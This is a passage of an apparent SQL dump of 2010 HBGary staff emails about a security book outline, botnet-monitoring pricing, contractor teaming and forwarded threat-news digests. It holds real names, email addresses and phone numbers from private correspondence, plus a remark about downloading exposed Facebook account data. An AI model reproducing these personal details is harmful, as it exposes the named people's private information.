Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15344,'aaron_hbgary_com/15344.html'),(9469,'2010-08-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007282.M962724P14101Q4324.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Future of Security','I have some time for some writing, can you send me at least one chapter draft to work on?\r\n \r\n-Greg\r\nOn Sun, Aug 1, 2010 at 9:58 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThe trajectory of technology.  Mobility + Social + CloudThis leads to perimeterless environment, promiscuous networking, open PII.\r\nComputer security is not possible, not remotely given the current trajectory of security.  Even host based behavioral detection can not keep up with this without significant additional capabilities.  I see only two paths to improving this.  As the stakes are raised to organized crime and nation state FIS (Foreign Intelligence Services) anything is possible.  Backbone compromises, Supply Chain compromises, specialized insider threats, legitimate commercial services.\r\nChoices to better security.Complete rework of the computer and communications architecture. (not likely and certainly not within 5 years).  There are some technologies short of this that will help; broad distribution and management of personal certs and pervasive encryption.  But the implementation of this is a bugger.  Again long ways away.\r\norIntelligence, Incident Response, and IO.The area Incident Response requires some clarification because I don&#39;t mean it in the traditionally understood sense.  I mean human and system response to abnormal cyber conditions.  I mean system and mission resiliency in the face of compromise and attack.  This requires good intelligence, we can improve human and system response with better intelligence.\r\nIO requires some intelligence but is more a feeder to intelligence.  All offense all the time.  Forward deployed and embedded capabilities that can give us insight, I&amp;W, knowledge of threats, their intent and capabilities.  This is a blended approach of all of the capabilities available.  Coordinated campaigns\r\nIntelligence.  This is a bugger.  Some of it because of organizational and bureaucratic boundaries.  Some of it is we just don&#39;t know how to organize the data.  Threats are complex as we have discussed.  How do you develop a threat focused intelligence capability?\r\nMaybe the focus of our book should be on Intelligence, Incident Response, and IO?  Enumerating and discussing the components of the threat should allow us to organize a chapter on what a threat intelligence schema would look like?\r\nJust some thoughts.  BTW, if you haven&#39;t seen the movie Unthinkable...definitely worth seeing.  The movie will not make you feel good though.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',13451,'aaron_hbgary_com/13451.html'),(9470,'2010-08-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007283.M264684P14101Q4325.eml','\"Brian Coulson\" <bcoulson@digitalglobe.com>','Re: Social Media Training','Hi Brian,\r\n\r\nHave you received any feedback on our quote for training?  Aaron and I\r\nare excited about the opportunity, please let me know if you have any\r\nquestions.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Jul 27, 2010 at 5:33 AM, Brian Coulson\r\n wrote:\r\n> Ted,\r\n>\r\n> Hi! Thank you again! I\'ve forwarded to my manager Dan Collender so we\r\n> can discuss further.\r\n>\r\n> Sincerely,\r\n> Brian Coulson\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Monday, July 26, 2010 1:10 PM\r\n> To: Brian Coulson\r\n> Cc: Barr Aaron\r\n> Subject: Social Media Training\r\n>\r\n> Hello Brian,\r\n>\r\n> Attached is a quote for the Social Media training we discussed.  We\r\n> provided a deep volume discount for the pricing, and tried to make it\r\n> flexible to accommodate for an uncertain number of attendees.  Please\r\n> review and feel free to contact me if you have any questions.\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n> This electronic communication and any attachments may contain confidential and proprietary\r\n> information of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee\r\n> responsible for delivering this communication to the intended recipient, or if you have received\r\n> this communication in error, please do not print, copy, retransmit, disseminate or\r\n> otherwise use the information. Please indicate to the sender that you have received this\r\n> communication in error, and delete the copy you received. DigitalGlobe reserves the\r\n> right to monitor any electronic communication sent or received by its employees, agents\r\n> or representatives.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',12109,'aaron_hbgary_com/12109.html'),(9471,'2010-08-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007283.M579411P14101Q4326.eml','\"Barr Aaron\" <aaron@hbgary.com>','NG','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI have a conf call with Sean Tulles of NG.&nbsp; Do you know\r\nhim?&nbsp; According to a guy who works for him he has 2 IRAD projects going after\r\nbig programs.&nbsp; I am going to maintain the same approach working with\r\ncontractors.&nbsp; It must be quid pro quo.&nbsp; If they can&#8217;t show me a quick\r\npath to revenue then I don&#8217;t participate.&nbsp; ManTech has shown us that\r\nthere can be short term revenue.&nbsp; I have a meeting later in the month with\r\nLMCO.&nbsp; They are the prime for three contracts that have money right now to buy\r\nsoftware.&nbsp; It simply doesn&#8217;t make any sense for us to spend time on maybe\r\nmoney 1-2 years out.&nbsp; If it is beyond my near term time horizon it simply doesn&#8217;t\r\nexist.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11592,'aaron_hbgary_com/11592.html'),(9472,'2010-08-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007284.M113071P14101Q4327.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Bank of the West / Botnet','Hi Maria,\r\n\r\nThe reason I called is that I just got off the phone with EndGames.\r\n\r\nThe service offering we are putting together for Bank of the West would include:\r\n\r\nInitial report with all historical botnet/spam observations for their\r\nIPs (they have over 70,000).\r\nDaily notification reports of any observed botnet/spam activity from\r\ntheir >70,000 IPs.\r\nOptional weekly, and monthly roll-up reports.\r\n\r\nWhat do you think Bank of the West would be willing to pay for such a\r\nservice?  Do you think $5000/month is reasonable (that\'s less than $1\r\nper IP per year)?\r\n\r\nEndGames really wants us to win this work.  They are still trying to\r\ndetermine a good pricing model for their service, and they are very\r\nflexible and open to our recommendations.\r\n\r\n-- \r\nTed\r\n',7373,'aaron_hbgary_com/7373.html'),(9473,'2010-08-02','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297007285.M311970P14101Q4328.eml','aaron@hbgary.com,aaron@hbgary.com,','RE: ManTech--HB Gary--Gatorbait Opportunity--TA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAttached you\r\nwill find our standard Teaming Agreement to clarify the teaming arrangement\r\nwith ManTech on the Gatorbait effort.&nbsp; Please review it, sign it, and\r\nreturn it back to me.&nbsp; A fully executed agreement will then be sent to\r\nyou.&nbsp; If you believe changes need to be made, please let me know your\r\nsuggested changes.&nbsp; I can send you a word copy and you can turn on\r\n&#8220;track changes&#8221; to help speed the process.\r\n\r\n&nbsp;\r\n\r\nPlease email or\r\ncall if you have any questions.&nbsp; Thank you for your help.\r\n\r\n&nbsp;&nbsp; \r\n\r\nBest regards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any attachments)\r\nare company-confidential and/or proprietary. Unless you are the addressee (or\r\nauthorized to receive for the addressee), you may not use, copy, disclose or\r\ndistribute this email or any of the contents of this email.&nbsp; If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Friday, July 09, 2010 1:12 PM\r\nTo: \'aaron@hbgary.com\'\r\nCc: Hull, Wayne A; Stewart, Brad\r\nSubject: RE: ManTech--HB Gary--Gatorbait Opportunity--NDA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.&nbsp; Thank you\r\nfor sending back the NDA with your signature.&nbsp; Please see the attached\r\nexecuted version.&nbsp; Let me know if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Thursday, July 08, 2010 3:39 PM\r\nTo: \'aaron@hbgary.com\'\r\nCc: Hull, Wayne A; Stewart, Brad\r\nSubject: ManTech--HB Gary--Gatorbait Opportunity--NDA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMr. Barr,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.\r\n\r\n&nbsp; \r\n\r\nAttached you\r\nwill find our standard Non-Disclosure Agreement to discuss teaming with ManTech\r\non the Gatorbait effort.&nbsp; Please review it, sign it, and return it back to\r\nme.&nbsp; A fully executed agreement will then be sent to you.&nbsp; If you\r\nbelieve changes need to be made, please let me know your suggested\r\nchanges.&nbsp; I can send you a word copy and you can turn on &#8220;track\r\nchanges&#8221; to help speed the process.\r\n\r\n&nbsp;\r\n\r\nPlease email or\r\ncall if you have any questions.&nbsp; Thank you for your help.\r\n\r\n&nbsp;&nbsp; \r\n\r\nBest Regards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5532,'aaron_hbgary_com/5532.html'),(9474,'2010-08-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007294.M864372P14101Q4329.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Fri)','AAaron look at Facebook story\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Saturday, July 31, 2010 9:58 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\nToday\'s articles:\r\n\r\n*       Black Hat conference demonstration reveals ATM security risk\r\n\r\n*       100 million Facebook accounts exposed\r\n\r\n*       Verizon: Data breaches often caused by configuration errors\r\n\r\n*       Microsoft\'s bug reports fail to produce prompt patches\r\n\r\n*       Malware openly available in China, researchers say\r\n\r\n*       Apple issues patch for Safari, as details of AutoFill\r\nvulnerability will be demonstrated today at the Black Hat conference\r\n\r\n*       Trojan masquerades as iPhone jailbreaking software\r\n\r\n*       Scareware scheme abuses Firefox \'What\'s New\' page\r\n\r\n*       LNK vulnerability exploited by more families of malware\r\n\r\n*       Attacking the edges of secure Internet traffic\r\n\r\n*       FBI says 2-year probe led them to Slovenian creator of malicious\r\nsoftware\r\n\r\n*       Smartphones tempting new targets for hackers\r\n\r\n',7038,'aaron_hbgary_com/7038.html'),(9475,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007295.M583048P14101Q4330.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Future of Security','Yes I will work hard on the intro chapter to start. &nbsp;Why is it people on security don\'t understand threats are like water, it takes the path of least resistance, meanwhile technology marches forward.Sent from my iPhoneOn Aug 2, 2010, at 4:38 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:I have some time for some writing, can you send me at least one chapter draft to work on?\r\n&nbsp;\r\n-Greg\r\nOn Sun, Aug 1, 2010 at 9:58 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThe trajectory of technology. &nbsp;Mobility + Social + CloudThis leads to perimeterless environment, promiscuous networking, open PII.\r\nComputer security is not possible, not remotely given the current trajectory of security. &nbsp;Even host based behavioral detection can not keep up with this without significant additional capabilities. &nbsp;I see only two paths to improving this. &nbsp;As the stakes are raised to organized crime and nation state FIS (Foreign Intelligence Services) anything is possible. &nbsp;Backbone compromises, Supply Chain compromises, specialized insider threats, legitimate commercial services.\r\nChoices to better security.Complete rework of the computer and communications architecture. (not likely and certainly not within 5 years). &nbsp;There are some technologies short of this that will help; broad distribution and management of personal certs and pervasive encryption. &nbsp;But the implementation of this is a bugger. &nbsp;Again long ways away.\r\norIntelligence, Incident Response, and IO.The area Incident Response requires some clarification because I don\'t mean it in the traditionally understood sense. &nbsp;I mean human and system response to abnormal cyber conditions. &nbsp;I mean system and mission resiliency in the face of compromise and attack. &nbsp;This requires good intelligence, we can improve human and system response with better intelligence.\r\nIO requires some intelligence but is more a feeder to intelligence. &nbsp;All offense all the time. &nbsp;Forward deployed and embedded capabilities that can give us insight, I&amp;W, knowledge of threats, their intent and capabilities. &nbsp;This is a blended approach of all of the capabilities available. &nbsp;Coordinated campaigns\r\nIntelligence. &nbsp;This is a bugger. &nbsp;Some of it because of organizational and bureaucratic boundaries. &nbsp;Some of it is we just don\'t know how to organize the data. &nbsp;Threats are complex as we have discussed. &nbsp;How do you develop a threat focused intelligence capability?\r\nMaybe the focus of our book should be on Intelligence, Incident Response, and IO? &nbsp;Enumerating and discussing the components of the threat should allow us to organize a chapter on what a threat intelligence schema would look like?\r\nJust some thoughts. &nbsp;BTW, if you haven\'t seen the movie Unthinkable...definitely worth seeing. &nbsp;The movie will not make you feel good though.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',1820,'aaron_hbgary_com/1820.html'),(9476,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007296.M418292P14101Q4331.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Future of Security','Sent from my iPhoneBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: August 2, 2010 4:38:44 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Future of SecurityI have some time for some writing, can you send me at least one chapter draft to work on?\r\n&nbsp;\r\n-Greg\r\nOn Sun, Aug 1, 2010 at 9:58 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThe trajectory of technology. &nbsp;Mobility + Social + CloudThis leads to perimeterless environment, promiscuous networking, open PII.\r\nComputer security is not possible, not remotely given the current trajectory of security. &nbsp;Even host based behavioral detection can not keep up with this without significant additional capabilities. &nbsp;I see only two paths to improving this. &nbsp;As the stakes are raised to organized crime and nation state FIS (Foreign Intelligence Services) anything is possible. &nbsp;Backbone compromises, Supply Chain compromises, specialized insider threats, legitimate commercial services.\r\nChoices to better security.Complete rework of the computer and communications architecture. (not likely and certainly not within 5 years). &nbsp;There are some technologies short of this that will help; broad distribution and management of personal certs and pervasive encryption. &nbsp;But the implementation of this is a bugger. &nbsp;Again long ways away.\r\norIntelligence, Incident Response, and IO.The area Incident Response requires some clarification because I don\'t mean it in the traditionally understood sense. &nbsp;I mean human and system response to abnormal cyber conditions. &nbsp;I mean system and mission resiliency in the face of compromise and attack. &nbsp;This requires good intelligence, we can improve human and system response with better intelligence.\r\nIO requires some intelligence but is more a feeder to intelligence. &nbsp;All offense all the time. &nbsp;Forward deployed and embedded capabilities that can give us insight, I&amp;W, knowledge of threats, their intent and capabilities. &nbsp;This is a blended approach of all of the capabilities available. &nbsp;Coordinated campaigns\r\nIntelligence. &nbsp;This is a bugger. &nbsp;Some of it because of organizational and bureaucratic boundaries. &nbsp;Some of it is we just don\'t know how to organize the data. &nbsp;Threats are complex as we have discussed. &nbsp;How do you develop a threat focused intelligence capability?\r\nMaybe the focus of our book should be on Intelligence, Incident Response, and IO? &nbsp;Enumerating and discussing the components of the threat should allow us to organize a chapter on what a threat intelligence schema would look like?\r\nJust some thoughts. &nbsp;BTW, if you haven\'t seen the movie Unthinkable...definitely worth seeing. &nbsp;The movie will not make you feel good though.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',5935,'aaron_hbgary_com/5935.html'),(9477,'2010-08-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007296.M718322P14101Q4332.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: Bank of the West / Botnet','Maria,\r\n\r\nHave you given them a quote for Active Defense?\r\n\r\nTed\r\n\r\nOn Mon, Aug 2, 2010 at 2:47 PM, Ted Vera  wrote:\r\n> Hi Maria,\r\n>\r\n> The reason I called is that I just got off the phone with EndGames.\r\n>\r\n> The service offering we are putting together for Bank of the West would include:\r\n>\r\n> Initial report with all historical botnet/spam observations for their\r\n> IPs (they have over 70,000).\r\n> Daily notification reports of any observed botnet/spam activity from\r\n> their >70,000 IPs.\r\n> Optional weekly, and monthly roll-up reports.\r\n>\r\n> What do you think Bank of the West would be willing to pay for such a\r\n> service?  Do you think $5000/month is reasonable (that\'s less than $1\r\n> per IP per year)?\r\n>\r\n> EndGames really wants us to win this work.  They are still trying to\r\n> determine a good pricing model for their service, and they are very\r\n> flexible and open to our recommendations.\r\n>\r\n> --\r\n> Ted\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',7067,'aaron_hbgary_com/7067.html'),(9478,'2010-08-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007296.M994780P14101Q4333.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: FW: NMCIWG: Daily Computer Threat News (Fri)','We downloaded it in the lab this weekend.  We have all the data.\r\n\r\n\r\n\r\nOn Mon, Aug 2, 2010 at 2:59 PM, Penny Leavy-Hoglund  wrote:\r\n> AAaron look at Facebook story\r\n>\r\n> -----Original Message-----\r\n> From: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil]\r\n> Sent: Saturday, July 31, 2010 9:58 AM\r\n> Subject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n>\r\n>\r\n>\r\n> Subject: NMCIWG: Daily Computer Threat News (Fri)\r\n>\r\n> Today\'s articles:\r\n>\r\n> *       Black Hat conference demonstration reveals ATM security risk\r\n>\r\n> *       100 million Facebook accounts exposed\r\n>\r\n> *       Verizon: Data breaches often caused by configuration errors\r\n>\r\n> *       Microsoft\'s bug reports fail to produce prompt patches\r\n>\r\n> *       Malware openly available in China, researchers say\r\n>\r\n> *       Apple issues patch for Safari, as details of AutoFill\r\n> vulnerability will be demonstrated today at the Black Hat conference\r\n>\r\n> *       Trojan masquerades as iPhone jailbreaking software\r\n>\r\n> *       Scareware scheme abuses Firefox \'What\'s New\' page\r\n>\r\n> *       LNK vulnerability exploited by more families of malware\r\n>\r\n> *       Attacking the edges of secure Internet traffic\r\n>\r\n> *       FBI says 2-year probe led them to Slovenian creator of malicious\r\n> software\r\n>\r\n> *       Smartphones tempting new targets for hackers\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3160,'aaron_hbgary_com/3160.html'),(9479,'2010-08-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007299.M722676P14101Q4334.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Wed)','See info about Zeus\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Wednesday, July 28, 2010 1:20 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Wed)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Wed)\r\n\r\nThe Windows .LNK vulnerability continues to pick up steam. I\'ve attached\r\nanother agency\'s Cyber Advisory on this topic for your evaluation. To date,\r\nMicrosoft, Sophos, and now G Data (article #3) have released tools to\r\ntemporarily mitigate this threat until Microsoft can formally update the\r\nWindows operating system with a permanent solution. \r\n\r\n1.      Citi, Apple disclose iPhone app security flaw\r\n\r\n2.      Australian hacker pleads guilty\r\n\r\n3.      G Data releases tool to block Windows shortcut attacks\r\n\r\n4.      Zeus bot latches onto Windows shortcut security hole\r\n\r\n5.      Attacks on Windows XP continue to grow, security experts say\r\n\r\n6.      Third-party content could threaten websites, study says\r\n\r\n7.      WPA2 vulnerability found\r\n\r\n8.      Cyber mastermind arrested, questioned in Slovenia\r\n\r\n9.      Apple releases OS X updates for new iMacs, Magic Trackpad\r\n\r\n10.     One Breach = $1 Million To $53 Million In Damages Per Year\r\n\r\n',13667,'aaron_hbgary_com/13667.html'),(9480,'2010-08-02','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297007300.M197513P14101Q4335.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NRO Director\'s Innovation Initiative','Aaron,I&#39;m pretty flexible tomorrow afternoon.  Why not give a shout when you finish up in Bethesda, and we can plan to meet someplace convenient around 12:30 or so?MikeOn Mon, Aug 2, 2010 at 2:40 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Mike,I will be in Bethesda up until about 11-1130.  After that I am free tomorrow.  My Wednesday is open right now as well.\r\nAaronOn Aug 2, 2010, at 9:40 AM, MB Toth wrote:Aaron,It would be great to catch up!  Tomorrow is free if it works for you.  Let me see how rest of week holds together.\r\nMikeOn Mon, Aug 2, 2010 at 9:21 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Mike,Sorry for the silence.  Do you have time to catch lunch this week?\r\n\r\nAaronOn Jul 30, 2010, at 5:07 PM, MB Toth wrote:Aaron, Ted,\r\nNot sure if you&#39;ve seen the attached BAA, which you can access at https://dii.westfields.net/Just on quick review, there seem to be some interesting opportunities with regard to video game technologies and security capabilities that may be in your area of interest.\r\n\r\n\r\nLet me know when you might be free for lunch in August, Aaron!Enjoy the summer,\r\nMike\r\n\r\n&lt;NRO FY2011_BAA_Final.doc&gt;\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',12388,'aaron_hbgary_com/12388.html'),(9481,'2010-08-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007300.M509445P14101Q4336.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Bank of the West / Botnet','Disney is also interested.  I will speak with Bank of the West this week and Disney next week.  Disney is also looking at similar services.  Apparently Damballah has something?  I won&#39;t meet with Disney til the week after next.\r\n\r\nOn Mon, Aug 2, 2010 at 2:07 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nMaria,Have you given them a quote for Active Defense?Ted\r\n\r\n\r\nOn Mon, Aug 2, 2010 at 2:47 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt; Hi Maria,&gt;&gt; The reason I called is that I just got off the phone with EndGames.\r\n&gt;&gt; The service offering we are putting together for Bank of the West would include:&gt;&gt; Initial report with all historical botnet/spam observations for their&gt; IPs (they have over 70,000).&gt; Daily notification reports of any observed botnet/spam activity from\r\n&gt; their &gt;70,000 IPs.&gt; Optional weekly, and monthly roll-up reports.&gt;&gt; What do you think Bank of the West would be willing to pay for such a&gt; service?  Do you think $5000/month is reasonable (that&#39;s less than $1\r\n&gt; per IP per year)?&gt;&gt; EndGames really wants us to win this work.  They are still trying to&gt; determine a good pricing model for their service, and they are very&gt; flexible and open to our recommendations.\r\n&gt;&gt; --&gt; Ted&gt;--Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',10395,'aaron_hbgary_com/10395.html'),(9482,'2010-08-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007301.M816324P14101Q4337.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Blackhat leads','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11763,'aaron_hbgary_com/11763.html'),(9483,'2010-08-02','\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>','/aaron@hbgary.com/new/1297007302.M573350P14101Q4338.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis Discussion','Hi Aaron,\r\n\r\nI\'m away on vacation this week - due back next Monday. \r\n\r\nI\'d like to know the details behind the missing rules and see what we\r\ncan do. When you say \"developing a set of default rules\" - can you\r\nelaborate?\r\n\r\nThanks,\r\nJerry\r\n\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 02, 2010 2:25 PM\r\n> To: Mancini, Jerry\r\n> Subject: Fidelis Discussion\r\n> \r\n> Hi Jerry,\r\n> \r\n> Just getting back from Vegas and processing a lot of good contacts and\r\n> feedback.\r\n> \r\n> Lots of general interest related to Fidelis and HBGary integration.\r\n> Lots of interest on Fidelis use being able to do session\r\nreconstruction\r\n> and some analysis.  But the lack of base and generated rules tend to\r\n> put the box right back into the strict DLP rather than the larger\r\n> perimeter defense category.  I had a brief conversation with Mary out\r\n> there on this.  Is there any internal momentum or interest in\r\n> developing a set of default rules?  Our plan is to eventually work on\r\n> what it might look like to generate rules using Active Defense 